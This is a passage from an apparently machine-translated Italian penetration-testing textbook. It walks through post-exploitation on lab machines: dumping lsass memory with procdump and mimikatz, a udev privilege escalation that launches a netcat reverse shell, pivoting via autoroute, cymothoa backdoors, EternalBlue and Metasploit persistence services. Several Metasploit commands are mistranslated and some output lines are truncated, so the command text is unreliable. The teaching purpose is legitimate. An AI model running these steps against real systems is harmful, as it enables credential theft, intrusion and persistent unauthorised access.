tuttavia, ho procdump64.exe in fase di staging sulla mia istanza Kali in
modo da poterlo caricare. Nell'esempio 6-14 , puoi vedere che ho caricato
il programma di cui avevo bisogno, che lo ha messo sul sistema Windows
compromesso per un uso successivo. Ciò richiedeva che utilizzassi il
payload Meterpreter, quindi avevo la capacità di caricamento. Senza di
esso, avrei dovuto ricorrere ad altri metodi di trasferimento file. Anche se
potessi farlo, sarebbe necessario creare un'infrastruttura per supportare il
trasferimento dei file, e il caricamento da Meterpreter è molto più
semplice.
Esempio 6-14. Caricamento di un programma tramite Meterpreter
meterpreter > carica procdump64.exe [*]
caricamento : procdump64.exe -> procdump64.exe
[*] caricato : procdump64.exe -> procdump64.exe
meterpreter > carica kiwi Caricamento estensione
kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( be
## \/## > http://blog.gentilkiwi.com/mim
'## v ##' Vincent LE TOUX (vi
'#####' > http://pingcastle.com / http
Successo. meterpreter > kiwi_cmd
process::list 0 (null)
4 Sistema
252 smss.exe
324 csrss.exe
376 wininit.exe
388 csrss.exe
428 winlogon.exe
468 servizi.exe
484 lsass.exe
492 lsm.exe
588 svchost.exe
648 VBoxService.exe
708 svchost.exe
780 svchost.exe
796 LogonUI.exe
848 svchost.exe
904 svchost.exe
944 svchost.exe
1008 svchost.exe
276
1088
svchost.exe
spoolsv.exe
1116
1140
svchost.exe
wrapper.exe
1316
1328
conhost.exe
domain1Service.exe
1384
elasticsearch-service-x64.exe
di nuovo. Mentre puoi ottenere un elenco di processi usando ps , puoi
anche usare il modulo di processo con kiwi_cmd , che è ciò che vedi
nell'Esempio 6-13 . Puoi ottenere un elenco di processi. Insieme al nome
del processo, otterrai l'ID del processo.
Per usare procdump64.exe , devi fare una cosa. È sul sistema remoto
perché lo hai caricato, ma gli strumenti Sysinternals richiedono che tu
accetti l'accordo di licenza per l'utente finale (EULA). Puoi farlo passando a
una shell sul sistema remoto
(basta digitare shell in Meterpreter e si aprirà un prompt dei comandi
sul sistema remoto). Una volta che ci si trova sul sistema remoto e nella
directory in cui è stato caricato il file, che è dove si verrà posizionati di
default, basta eseguire procdump64.exe -accepteula . Se non lo si fa, il
programma stamperà l'EULA e dirà che è necessario accettarlo.
L'esempio 6-15 mostra il dumping di un processo.
Esempio 6-15. Utilizzo di procdump64.exe
meterpreter > shell
Processo 4840 creato.
Creato il Canale 4.
Microsoft Windows [Versione 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Tutti i
diritti riservati.
C:\Windows\system32>procdump64.exe csrss.exe
procdump64.exe csrss.exe
ProcDump v11.0 - Utilità di dump del processo
Sysinternals
Copyright (C) 2009-2022 Mark Russinovich e And
sysinternals - www.sysinternals.com
[14:56:57] Più processi corrispondono a quelli
specificati
C:\Windows\system32>procdump64.exe lsass.exe
procdump64.exe lsass.exe
ProcDump v11.0 - Utilità di dump del processo
Sysinternals
Copyright (C) 2009-2022 Mark Russinovich e And
sysinternals - www.sysinternals.com
[14:57:13] Dump 1 avviato: C:\Windows\system32\
[14:57:14] Dump 1 completato: 1 MB scritto in 1,1
s [14:57:15] Raggiunto il conteggio dei dump.
C:\Windows\system32>uscita
esci meterpreter > scarica
lsass.exe_230809_145713.dm [*] Scaricamento:
lsass.exe_230809_145713.dmp -> ↩
/home/kilroy/lsass.exe_230809_145713.dmp
[*] Scaricati 719,61 KiB di 719,61 KiB (100,0%)
/home/kilroy/lsass.exe_230809_145713.dmp
[*] Completato: lsass.exe_230809_145713.dmp -> ↩
/home/kilroy/lsass.exe_230809_145713.dmp
Puoi usare il nome del processo per dire a procdump64.exe quale processo
vuoi scaricare. Se hai processi con lo stesso nome, come nel caso di
postgres.exe perché ha generato numerosi processi figlio per gestire il
lavoro, dovrai usare il PID. Questo rende chiaro a procdump64.exe quale
processo intendi estrarre dalla memoria. Finisci con un file .dmp lasciato
sul disco del sistema remoto. Se vuoi analizzarlo, dovrai riportarlo sul tuo
sistema locale per lavorarci. Puoi farlo usando download in Meterpreter.
Per prima cosa, devi uscire dalla shell sul sistema remoto, quindi esci .
Questo non perde la connessione al sistema remoto, poiché la tua sessione
Meterpreter è ancora in esecuzione. Hai appena generato una shell dalla
tua sessione Meterpreter e dovevi tornare a Meterpreter.
Una volta che sei sul sistema remoto, puoi fare un certo numero di cose
con i processi. Questo potrebbe essere fatto usando Meterpreter, uno degli
altri moduli che potrebbero essere caricati, o qualsiasi numero di
programmi che potresti caricare sul sistema remoto. Un punto da tenere a
mente è che potresti voler ripulire dopo aver finito in modo che tutti gli
artefatti che hai creato non siano disponibili per il rilevamento in seguito.
Escalation dei privilegi
In definitiva, non sarai in grado di fare molto se non hai un alto livello di
permessi. Idealmente, i servizi vengono eseguiti con il numero minimo
assoluto di permessi possibile. Semplicemente non c'è motivo di eseguire
servizi con un alto livello di diritti. In un mondo perfetto, i programmatori
seguirebbero il principio del privilegio minimo e non richiederebbero più
permessi di quelli assolutamente necessari. Diciamo che i servizi sono
installati con un numero limitato di privilegi e riesci a compromettere il
servizio. Ciò significa che hai effettuato l'accesso come un utente che non
può accedere a nulla. Sei vincolato da qualsiasi permesso detenuto
dall'utente che possiede il processo che hai compromesso. Per fare molto,
devi ottenere un livello di privilegi più elevato.
Se stai usando Meterpreter per la tua shell e sei su un sistema Windows,
puoi semplicemente usare il comando getsystem , dopo aver caricato il
modulo priv usando load priv . Questo proverà diverse tecniche per
aumentare i privilegi che possono essere comunemente usate sui sistemi
Windows. Tuttavia, quando non stai prendendo di mira sistemi Windows o
se le strategie impiegate da getsystem non funzionano, hai bisogno di altri
modi per aumentare i privilegi dall'utente normale da cui potresti aver
ottenuto l'accesso. Potresti anche non essere in grado di usare Metasploit
per il tuo exploit, quindi proveremo un altro modo.
Per ottenere privilegi più elevati, hai bisogno di un modo per
compromettere un altro processo sul sistema che è in esecuzione come
root. Altrimenti, potresti semplicemente cambiare il tuo ruolo utente. Su
un sistema simile a Unix come Kali, potresti usare il comando su per
cambiare utente. Di default, questo ti darebbe i permessi di root a meno
che tu non specifichi un utente particolare. Tuttavia, dovresti usare la
password di root per farlo accadere. Potresti essere in grado di farlo
compromettendo la password di root. Sui sistemi Linux è disponibile anche
sudo . Questo comando fornisce permessi temporanei per eseguire un
comando. Se dovessi usare sudo mkdir /etc/directory , creerei una
directory in /etc . Poiché quella directory è di proprietà di root, ho bisogno
dei permessi giusti. Ecco perché uso sudo .
Eseguiremo un attacco di escalation dei privilegi senza usare password,
sudo o su . Per questo, useremo una vulnerabilità locale. Prenderemo di
mira un sistema Metasploitable 2, che si basa su una versione obsoleta di
Ubuntu Linux. Dobbiamo cercare un exploit locale che possiamo usare
dopo aver compromesso il sistema. Identificando la versione del kernel
sfruttandola, scopriamo che il kernel Linux è 2.6.24. Possiamo scoprirlo
usando uname -a dopo essere entrati nel sistema. Anche una scansione
nmap potrebbe essere in grado di identificare la versione. Conoscendo la
versione del kernel, possiamo cercare una vulnerabilità che attacca quella
versione.
NOTA
Tieni presente che una vulnerabilità locale è una vulnerabilità che richiede che tu abbia già effettuato
l'accesso alla macchina o che tu abbia la possibilità di eseguire comandi sulla macchina.
Dopo aver identificato che una vulnerabilità è associata a udev , un gestore
di dispositivi che funziona con il kernel Linux, possiamo prendere il codice
sorgente. Puoi vedere nell'esempio 6-16 che ho usato searchsploit per
identificare le vulnerabilità di udev . So che quella che sto cercando è
8572.c , in base alle ricerche che ho fatto, quindi posso copiare quel file da
dove si trova nella mia directory home in modo da poterlo compilare.
Poiché lavoro da un sistema a 64 bit, ho dovuto installare il pacchetto gccmultilib per compilare in un 32binary (l'architettura in uso nel mio target).
Questo è qualcosa che posso identificare usando uname -a . Dopo aver
compilato il codice sorgente in un eseguibile, il file eseguibile deve essere
copiato da qualche parte in cui è possibile accedervi da remoto.
Inserendolo nella radice del mio server web significa che posso accedervi
usando un protocollo che non è comunemente sospetto.
MANCIA
Quando compili, puoi determinare il nome del file che esce dal processo di compilazione. Lo fai
usando -o e poi fornendo il nome del file. Nel nostro esempio, ho usato un nome di file che potrebbe
non essere sospetto se trovato sul sistema di destinazione. Puoi usare qualsiasi nome di file ti faccia
piacere, purché tu ricordi il nome in modo da poterlo recuperare in seguito.
Esempio 6-16. Messa in scena dell'exploit locale
──(kilroy@badmilo)-[~]
└─$ searchsploit udev
---------------------------------------------------- Titolo exploit |
---------------------------------------------------- Kernel Linux 2.6 (Debian 4.0 / Ubuntu / Gento | l
Kernel Linux 2.6 (Gentoo/Ubuntu 8.10/9.04) | l
Kernel Linux 4.8.0 UDEV < 232 - Privilegio locale
| l
Kernel Linux UDEV < 1.4.1 - 'Netlink' Locale P |
l
---------------------------------------------------- Shellcodes: No Results
┌──(kilroy@badmilo)-[~]
└─$ cp /usr/share/exploitdb/exploits/linux/local/
┌──(kilroy@badmilo)-[~]
└─$ gcc -m32 -o tuxbowling 8572.c
Ora che abbiamo l'exploit locale in modo da poterlo recuperare, possiamo
passare all'exploit. L'esempio 6-17 mostra lo sfruttamento di
Metasploitable 2 usando una vulnerabilità in un compilatore C distribuito.
Una volta che il sistema è compromesso, vedrai che ho scaricato il binario
dell'exploit locale sul sistema sfruttato. Una volta che il file è stato
compilato, il bit eseguibile viene impostato automaticamente, indicando al
sistema che è un programma che può essere eseguito direttamente. Una
volta scaricato usando wget , il file perde tutti i bit di autorizzazione che
erano stati impostati, il che significa che dobbiamo reimpostare il bit
eseguibile usando chmod +x sul file. Una volta impostato il bit eseguibile,
siamo pronti a lavorare sull'escalation dei privilegi.
Esempio 6-17. Sfruttamento di Metasploitable 2
msf6 > usa exploit/unix/misc/distcc_exec [*]
Nessun payload configurato, predefinito su
cmd/unix msf6 exploit(unix/misc/distcc_exec) >
imposta PAYLOAD
PAYLOAD => cmd/unix/bind_perl
msf6 exploit(unix/misc/distcc_exec) > set RHOST
RHOST => 192.168.1.37
msf6 exploit(unix/misc/distcc_exec) > exploit
[*] Started bind TCP handler against 192.168.1.37
[*] Command shell session 1 opened (192.168.1.38
2023-09-12 17:58:27 -0400
wget http://192.168.1.15/elfbowling
chmod +x elfbowling
NOTA
Noterai che non ci sono prompt dopo lo sfruttamento. Questo è un artefatto di questo exploit e
dell'utente che abbiamo sfruttato. Solo perché non riceviamo un prompt non significa che non
abbiamo compromesso il sistema. Inizia semplicemente a inviare comandi per vedere se vengono
accettati.
Tuttavia, non siamo ancora pronti a eseguire l'exploit. Abbiamo del lavoro
da fare. L'exploit funziona iniettando in un processo in esecuzione. Per
prima cosa, dobbiamo identificare il PID in cui inietteremo. Possiamo usare
lo pseudo file system proc , che memorizza le informazioni associate ai
processi. Stiamo cercando il
PID per il processo netlink . Troviamo che è 2417 in
Esempio 6-18 . Per verificarlo, possiamo semplicemente ricontrollare il PID
per il processo udev . Il PID che dobbiamo infettare sarà uno sotto il PID
udev . Possiamo vedere che il PID udev è 2418, che è uno sopra il PID che
avevamo già identificato. Ciò significa che conosciamo il PID da usare, ma
dobbiamo ancora preparare uno script bash che il nostro exploit chiamerà.
Popoliamo quello script con una chiamata a netcat , che aprirà una
connessione al sistema Kali, dove creeremo un listener usando netcat .
Esempio 6-18. Escalation dei privilegi utilizzando la vulnerabilità udev
cat /proc/net/netlink sk Eth Pid Gruppi Rmem Wmem
Du f7c50200 0 0 000000000 0 0 00 f75aec00 4 0
00000000 0 0 00 f7fc7200 7 0 00000000 0 0 00
f7d22600 9 0 00000000 0 0 00 f7d06800 10 0 00000000
0 0 00 f7c50600 15 0 00000000 0 0 00 f7045e00 15
2417 00000001 0 0 00 f7d03200 16 0 00000000 0 0 00
f748fa00 18 0 00000000 0 0 00 ps auxww | grep udev
root 2418 0.0 0.0 2216 628 ? S<s 17:5 demone 4831
0.0 0.0 3232 1424 ? SN 18:0 demone 4833 0.0 0.0
1784 532 ? RN 18:0 echo "#!/bin/bash" > /tmp/run
echo "/bin/netcat -e /bin/bash 192.168.1.38 8888
./elfbowling 2417
Sul lato Kali, useremmo netcat -l -p 8888 , che dice a netcat di avviare un
listener sulla porta 8888. Ho selezionato quella porta, ma non c'è niente di
speciale. Puoi usare qualsiasi porta tu voglia in modo da avere un listener.
Ricorda, non riceverai un prompt o alcuna indicazione che sei connesso sul
lato listener di netcat . Puoi, di nuovo, semplicemente iniziare a digitare
comandi. La prima cosa che puoi fare è eseguire whoami per determinare
con quale utente sei connesso. Dopo aver eseguito l'exploit, scoprirai di
essere root. Scoprirai anche di essere stato inserito nella root del file
system (/).
Passaggio ad altre reti
Mentre i sistemi desktop sono comunemente connessi a una singola rete
utilizzando una sola interfaccia di rete, i server sono spesso connessi a più
reti per isolare il traffico. Ad esempio, non vuoi che il tuo traffico
amministrativo passi attraverso l'interfaccia front-side. L'interfaccia frontside è dove entra il traffico esterno, il che significa che è l'interfaccia che gli
utenti usano per connettersi al servizio. Se isoliamo il traffico
amministrativo su un'altra interfaccia per motivi di prestazioni o sicurezza,
ora abbiamo due interfacce e due reti. La rete amministrativa non sarà
direttamente accessibile dal mondo esterno, ma avrà in genere accesso
backend a molti altri sistemi che vengono anch'essi amministrati.
Possiamo usare un sistema compromesso per farlo funzionare come router.
Uno dei modi più semplici per farlo è usare Meterpreter ed eseguire uno
dei moduli disponibili per aiutarci. Il primo passo è compromettere un
sistema con un exploit che consenta un payload Meterpreter. Stiamo di
nuovo prendendo di mira il sistema Metasploitable 2, ma l' exploit distcc
non supporta il payload Meterpreter. Invece, useremo una vulnerabilità del
server Java RMI. RMI è una funzionalità che consente a un'applicazione di
chiamare un metodo o una funzione su un sistema remoto. Ciò consente
l'elaborazione distribuita e alle applicazioni di utilizzare servizi che
potrebbero non supportare direttamente. L'esempio 6-19 mostra
l'esecuzione dell'exploit, inclusa la selezione del payload Meterpreter
basato su Java.
Esempio 6-19. Sfruttamento di un server Java RMI
msf6 exploit(unix/misc/distcc_exec) > usa exploit
[*] Nessun payload configurato, predefinito
java/met
[*] Utilizzo di
exploit/multi/misc/java_rmi_server
exploit msf6 (multi/misc/java_rmi_server) >
imposta RH RHOST => 192.168.1.37
msf6 exploit(multi/misc/java_rmi_server) >
imposta PA PAYLOAD =>
java/meterpreter/reverse_tcp msf6
exploit(multi/misc/java_rmi_server) > imposta LH
LHOST => 192.168.1.38 msf6
exploit(multi/misc/java_rmi_server) > esp
[*] Avviato il gestore TCP inverso su
192.168.1.38:4
[*] 192.168.1.37:1099 - Utilizzo dell'URL:
http://192.168 [*] 192.168.1.37:1099 - Server
avviato.
[*] 192.168.1.37:1099 - Invio intestazione RMI...
[*] 192.168.1.37:1099 - Invio chiamata RMI...
[*] 192.168.1.37:1099 - Risposto alla richiesta
di pa
[*] Fase di invio (58829 byte) a 192.168.1.37
[*] Sessione 2 di Meterpreter aperta
(192.168.1.38:44 2023-09-12 18:11:26 -0400
meterpreter >
In alcuni casi, quando si ottiene una shell Meterpreter, potrebbe non
essere immediatamente richiesto con meterpreter> . A volte la shell viene
messa in background. È possibile farlo da soli digitando -j dopo exploit . Ciò
invierebbe la sessione creata in background. È possibile che si desideri
aprire la sessione senza necessariamente interagire direttamente con essa.
Se si dispone di una sessione in background, è possibile richiamarla con
sessions -i seguito dal numero della sessione. Se si è eseguito un solo
exploit e si è creata una sessione, il numero di sessione sarà 1. È possibile
ottenere un elenco di tutte le sessioni aperte con sessions -l .
Una volta aperta una sessione con cui interagire, possiamo controllare il
numero di interfacce e le reti IP su cui si trovano tali interfacce. Puoi
vedere nell'esempio 6-20 che ho eseguito ipconfig , anche se non puoi
vedere il comando, poiché sto mostrando solo l'output che mi interessa
qui. L'interfaccia 2 mostra che la rete è 192.168.2.0/24 con l'indirizzo IP di
192.168.2.135. L'altra interfaccia è la rete che è raggiungibile per noi
poiché è l'indirizzo IP a cui ci siamo connessi. Utilizzando la rete IP,
possiamo impostare il percorso eseguendo il modulo autoroute . Lo
facciamo con run autoroute -s seguito dalla rete IP o dall'indirizzo a cui
vogliamo impostare un percorso.
Esempio 6-20. Utilizzo dell'autostrada
meterpreter > ipconfig
Interfaccia 1
============
Nome: lo - lo
MAC hardware: 00:00:00:00:00:00
Indirizzo IPv4: 127.0.0.1
Maschera di rete IPv4: 255.0.0.0
Indirizzo IPv6:::1
Maschera di rete
IPv6:::
Interfaccia 2
============
Nome: eth1 - eth1
MAC hardware: 00:00:00:00:00:00
Indirizzo IPv4: 172.30.42.10
Maschera di rete IPv4: 255.255.0.0
Indirizzo IPv6: fe80::a00:27ff:fea7:f434
Maschera di rete IPv6: ::
Interfaccia 3
============
Nome: eth0 - eth0
MAC hardware: 00:00:00:00:00:00
Indirizzo IPv4: 192.168.1.37
Maschera di rete IPv4: 255.255.255.0
Indirizzo IPv6:
fd23:5d5f:cd75:40d2:a00:27ff:fe20 Maschera di
rete IPv6: ::
Indirizzo IPv6: fe80::a00:27ff:fe20:9659
Maschera di rete IPv6: ::
meterpreter > esegui autoroute -s 172.30.42.0/24
[!] Gli script Meterpreter sono deprecati. Prova
post/
[!] Esempio: esegui post/multi/manage/autoroute
OPTI [*] Aggiunta di un percorso a
172.30.42.0/255.255.255.0.
[+] Aggiunta rotta a 172.30.42.0/255.255.255.0
tramite [*] Utilizzare l'opzione -p per elencare
tutte le rotte attive meterpreter > run autoroute
-p
[!] Gli script Meterpreter sono deprecati. Prova
post/
[!] Esempio: esegui post/multi/manage/autoroute
OPTI
Tabella di routing attiva
====================
Gateway maschera di rete di sottorete
------ ------- ------172.30.42.0 255.255.255.0 Session
Come puoi vedere, il modo in cui dovrebbe essere eseguito il modulo
autoroute sta cambiando. Il vecchio modo, visto prima, funziona ancora,
ma usare run post/multi/manage/autoroute è più semplice. Questo
rileverà automaticamente le reti a cui è connesso il sistema di destinazione
e creerà percorsi per esse. Usando la sintassi run , puoi ancora stampare la
tabella di routing usando run post/multi/manage/autoroute CMD=print .
Dopo aver impostato la route, puoi eseguire di nuovo autoroute per
stampare la tabella di routing. Questo ci mostra che la route sta usando
Session 1 come gateway. Quello che puoi fare da qui è mettere in
background la sessione usando Ctrl-Z. Puoi quindi eseguire altri moduli
sulla rete per cui hai impostato una route. Una volta che sei tornato a
Metasploit, puoi mostrare la tabella di routing, come puoi vedere
nell'Esempio 6-21 . Questo mostra che la route è pronta per essere usata
da msfconsole e altri moduli, senza dover essere nella shell Meterpreter.
Esempio 6-21. Tabella di routing da msfconsole
meterpreter > Sessione di
background 2? [y/N]
msf6 exploit(multi/misc/java_rmi_server) >
percorso
Tabella di routing attiva IPv4
=========================
Gateway maschera di rete di sottorete
------ ------- ------172.30.0.0 255.255.0.0 Session
192.168.1.0 255.255.255.0 Sessione [*]
Attualmente non sono definite rotte IPv6.
Metasploit si occupa di tutto il lavoro di indirizzamento del traffico in modo
appropriato. Se il sistema che hai compromesso ha più interfacce, puoi
impostare percorsi per tutte le reti a cui il sistema ha accesso. Hai
effettivamente trasformato il sistema compromesso in un router. Avremmo
potuto ottenere lo stesso risultato senza usare il modulo autoroute . Si
potrebbe anche usare la funzione route in Meterpreter. Per fare la stessa
cosa che abbiamo fatto con autoroute , dovresti usare route add
192.168.2.0/24 1 . Questo dice a Meterpreter di impostare un percorso per
192.168.2.0/24 (ovvero 192.168.2.0–192.168.2.255) tramite la sessione 1.
L'ultimo valore è l'ID di sessione. Questo otterrebbe lo stesso risultato che
autoroute ha ottenuto per noi.
Mantenimento dell'accesso
Potresti non voler continuare a sfruttare la stessa vulnerabilità più e più
volte per ottenere l'accesso al tuo sistema remoto. Per cominciare,
qualcuno potrebbe venire e correggere la vulnerabilità, il che
significherebbe che non saresti più in grado di sfruttarla. Idealmente, vuoi
lasciare una backdoor a cui potresti accedere in qualsiasi momento tu
voglia. Una sfida è che se crei semplicemente un processo che è una
backdoor, potrebbe essere scoperto come un processo non autorizzato.
Fortunatamente, c'è un programma che possiamo usare. Kali Linux ha un
pacchetto chiamato backdoor-factory nel repository che può essere
installato. Questo può essere un modo per creare una backdoor. Il software
inserisce shellcode in un binario esistente in modo che quando quel
binario viene eseguito, la backdoor/shellcode viene eseguita e si
ricollegherà a un listener sulla porta specificata. Uno dei problemi con
questo approccio è che richiede che backdoorfactory riconosca il binario e
anche che sia in grado di correggerlo inserendo codice aggiuntivo nel file.
Questo non è sempre possibile.
Un altro approccio è usare cymothoa , che è disponibile anche in Kali Linux.
Applica una patch a un processo in esecuzione su un sistema Linux per
creare una backdoor. Se installi cymothoa , avrai il binario che ti serve per
creare le backdoor sul sistema di destinazione.
Una volta che hai l' eseguibile cymothoa , puoi posizionarlo nella directory
del tuo server web e scaricarlo sul tuo sistema di destinazione oppure puoi
semplicemente usare l'upload tramite Meterpreter. Con cymothoa in
posizione, possiamo aprire una shell per avviare cymothoa . Il programma
funziona infettando un processo in esecuzione. Ciò significa che un
processo in esecuzione ottiene un nuovo pezzo di codice che avvierà un
listener e chiunque si connetta alla porta su cui cymothoa è in ascolto sarà
in grado di passare comandi shell al sistema per eseguirli. Se infetti un
processo in esecuzione come root, avrai i permessi di root.
L'esempio 6-22 mostra un'esecuzione di cymothoa per infettare un
processo. Il processo selezionato è il processo Apache2 che si avvia per
primo. Questo è quello che ha i permessi di root prima di eliminare i
permessi per i figli che genera. L'autorizzazione viene eliminata perché per
ascoltare sulla porta 80, il processo deve avere i permessi di root. Tuttavia,
per leggere il contenuto dal file system, l'applicazione non ha bisogno dei
permessi di root. Apache accetta la richiesta dalla rete utilizzando la porta
vincolata stabilita dal processo root e quindi passa l'elaborazione della
richiesta a uno dei figli. cymothoa richiede un PID e il codice shell da
iniettare. Ciò viene fatto utilizzando il parametro della riga di comando -s 1
. Ci sono 15 possibili codici shell da iniettare. Il primo è semplicemente
l'associazione di /bin/sh alla porta di ascolto fornita con il parametro -y .
Per iniettare in un processo esistente, è necessario disporre dei permessi di
livello root. Non è possibile eseguire Cymothoa come utente normale e
aspettarsi che l'iniezione abbia successo.
Esempio 6-22. Esecuzione di cymothoa per creare una backdoor
./cymothoa -p 4674 -s 1 -y 9999
[sudo] password per msfadmin:
[+] collegamento al processo
4674
informazioni registro: --------------------------------------------- valore eax: 0xfffffe00
valore ebx: 0x5 valore esp: 0xbfda801c valore
eip: 0xb7f0a410
----------------------------------------------[+] new esp: 0xbfda8018
[+] payload preamble: fork
[+] injecting code into 0xb7f 0b000
[+] copy general purpose registers
[+] detaching from 4674
[+] infected!!!
┌──(kilroy@portnoy)-[~]
└─$ nc 192.168.1.37 9999
pwd
/
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu
GNU/Linux
Ora abbiamo una backdoor e puoi vedere nella seconda parte dell'Esempio
6-22 che stiamo usando netcat per connetterci alla porta sul sistema
compromesso. Il problema con questo, però, è che abbiamo infettato solo
il processo in esecuzione. Se il processo venisse ucciso o riavviato, la nostra
backdoor andrebbe persa. Questo include se il sistema viene riavviato.
Questo è un modo per creare una backdoor, ma non aspettarti che sia
permanente. Vorrai assicurarti di avere qualcos'altro in atto a lungo
termine.
Se il sistema che hai compromesso è un sistema Windows, puoi usare uno
dei moduli di post-sfruttamento disponibili. Una volta che hai una shell
Meterpreter aperta sul tuo target Windows, puoi usare il modulo di
persistenza per creare un modo più permanente di accedere al sistema
ogni volta che vuoi. Di nuovo, questo modulo è disponibile solo se hai
compromesso un host Windows. Non sono disponibili moduli
corrispondenti per sistemi Linux o macOS. Attaccheremo un'istanza
Metasploitable 3 basata su Windows Server, ma la vulnerabilità che si
tradurrà in una shell Meterpreter funzionerà bene. L'exploit che stiamo
usando è EternalBlue, discusso in precedenza. Puoi vedere il compromesso
nell'Esempio 6-23 .
Esempio 6-23. Compromesso utilizzando MS17-010
msf6 > usa exploit/windows/smb/ms17_010_eternalbl
[*] Nessun payload configurato, per impostazione
predefinita è windows/ msf6
exploit(windows/smb/ms17_010_eternalblue) > RHOST
=> 192.168.1.112 msf6
exploit(windows/smb/ms17_010_eternalblue) >
[*] Avviato il gestore TCP inverso su
192.168.1.8:44
[*] 192.168.1.112:445 - Utilizzo di
scanner/ausiliari
[+] 192.168.1.112:445 - L'host è probabilmente
VULNER
Server 2008 R2 Standard 7601 Service Pack 1 x64
[*] 192.168.1.112:445 - Scansionato 1 di 1 host
[+] 192.168.1.112:445 - Il bersaglio è
vulnerabile
[*] 192.168.1.112:445 - Connessione alla
destinazione per
[+] 192.168.1.112:445 - Connessione stabilita per
[+] 192.168.1.112:445 - Il sistema operativo di
destinazione selezionato è valido
[*] 192.168.1.112:445 - Dump del buffer grezzo
CORE (51
[*] 192.168.1.112:445 - 0x00000000 57 69 6e 64 6
32 Windows Server 2
[*] 192.168.1.112:445 - 0x00000010 30 30 38 20 5
Norma 20 008 R2
[*] 192.168.1.112:445 - 0x00000020 37 36 30 31 2
63 7601 Pacchetto di assistenza 1
[*] 192.168.1.112:445 - 0x00000030 6b 20 31
[+] 192.168.1.112:445 - L'arco di destinazione è
stato selezionato vali
Risposta DCE/RPC
[*] 192.168.1.112:445 - Tentativo di exploit con
12 G
[*] 192.168.1.112:445 - Invio di tutti i
frammenti tranne l'ultimo
[*] 192.168.1.112:445 - Avvio del pool non di
paging g
[+] 192.168.1.112:445 - Invio di buffer SMBv2
[+] 192.168.1.112:445 - Chiusura del buffer
SMBv2 della connessione SMBv1.
[*] 192.168.1.112:445 - Invio del buffer SMBv2
finale
[*] 192.168.1.112:445 - Invio dell'ultimo
frammento di
[*] 192.168.1.112:445 - Ricezione della risposta
da e
[+] 192.168.1.112:445 - ETERNALBLUE sovrascrive
com
[*] 192.168.1.112:445 - Invio dell'uovo a
corrotto
[*] 192.168.1.112:445 - Attivazione senza
corruzione
[*] Fase di invio (200774 byte) a 192.168.1.112
[+] 192.168.1.112:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.112:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.112:445 - =-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sessione 1 di Meterpreter aperta
(192.168.1.8:444
2023-09-14 15:45:53 -0400
Questo ci ha lasciato con una sessione Meterpreter. Useremo quella
sessione per eseguire il nostro modulo di persistenza. Ci sono diversi modi
per ottenere la persistenza con Metasploit e Meterpreter. Uno molto
semplice è usare il modulo persistence_service . Puoi vedere come
eseguirlo nell'Esempio 6-24 . Come abbiamo fatto prima, il payload è
lasciato come predefinito, che è un reverse TCP
Payload Meterpreter. Ciò significa che l'host sfruttato invierà una
connessione a un gestore sul sistema di attacco. Impostiamo la porta sul
sistema locale su cui comunicherà il sistema remoto e ci assicuriamo che il
payload abbia l'indirizzo IP del nostro sistema di attacco. Vedrai che
utilizziamo una sessione Meterpreter esistente per creare il servizio sul
sistema Windows remoto, ma un'altra sessione Meterpreter viene creata
quando il sistema remoto avvia una connessione al nostro sistema di
attacco.
Esempio 6-24. Esecuzione del modulo di persistenza
msf6 exploit(windows/smb/ms17_010_eternalblue) >
usa exploit/windows/local/persistence_service
[*] Nessun payload configurato, impostazione
predefinita su windows/ msf6
exploit(windows/local/persistence_service) >
session => 1 msf6
exploit(windows/local/persistence_service) >
lport => 5698 msf6
exploit(windows/local/persistence_service) >
[*] Avviato il gestore TCP inverso su
192.168.1.8:56
[*] Esecuzione del modulo contro VAGRANT-2008R2
[+] Il servizio Meterpreter exe è scritto in
C:\Windows
[*] Creazione del servizio maRFnN
[*] Fase di invio (175686 byte) a 192.168.1.112
[*] Pulisci il file RC di Meterpreter:
/root/.msf4/logs
VAGRANT-2008R2_20230914.1806/VAGRANT-2008R2_20230
[*] Sessione 2 di Meterpreter aperta
(192.168.1.8:569
2023-09-14 18:18:08 -0400
L' exploit persistence_service installa un servizio Windows. Se vuoi, puoi
aggiungere impostazioni per far sì che il servizio si nasconda un po' meglio
. Se non aggiungi valori per quelle impostazioni, vengono creati valori
casuali per il nome dell'eseguibile, così come per il nome del servizio. La
Figura 6-1 mostra i dettagli del servizio sul server Windows che sono
risultati dall'exploit appena eseguito. Ciò significa che quando il sistema di
destinazione viene riavviato, il servizio verrà eseguito.
Figura 6-1. Dettagli del servizio
Una volta eseguito, il servizio tenterà di riconnettersi all'indirizzo IP
specificato quando abbiamo creato il servizio. Ciò significa che è necessario
disporre di un listener in attesa di connessioni. Se lo si desidera, è possibile
mantenere la sessione msfconsole che si aveva quando si è creato il
servizio per iniziare, poiché il listener è lì. Tuttavia, si potrebbe voler
avviare un listener in qualsiasi momento anziché dover mantenere
un'istanza di msfconsole in esecuzione per tutto il tempo. L'esempio 6-25
mostra il processo di creazione di un listener utilizzando l' exploit
exploit/multi/handler che si aspetta connessioni dal payload TCP inverso
Meterpreter. Si noterà che è necessario impostare la porta di ascolto,
nonché l'indirizzo IP su cui ascoltare, nel caso in cui siano presenti più
interfacce sul sistema.
Esempio 6-25. Creazione di un listener Meterpreter
msf6 > usa exploit/multi/handler [*] Usando il
payload configurato generic/shell_revers msf6
exploit(multi/handler) > imposta LPORT 5698 LPORT
=> 5698 msf6 exploit(multi/handler) > imposta
LHOST 192.168. LHOST => 192.168.1.8
msf6 exploit(multi/handler) > imposta PAYLOAD
windows PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > sfrutta
[*] Avviato il gestore TCP inverso su
192.168.1.8:56
[*] Fase di invio (175686 byte) a 192.168.1.112
[*] Meterpreter session 1 opened (192.168.1.8:569
2023-09-14 18:33:44 -0400
Ora hai due percorsi per la persistenza. Puoi usarne altri manualmente.
Questo potrebbe essere particolarmente necessario se stai
compromettendo un sistema Linux o macOS. Dovrai determinare il
processo di inizializzazione del sistema ( systemd contro init ) e creare un
servizio di sistema. Altrimenti, potresti avviare un processo in uno dei file
di avvio associati a un utente specifico. Parte di questo potrebbe dipendere
dal livello di permessi che avevi quando hai compromesso il sistema.
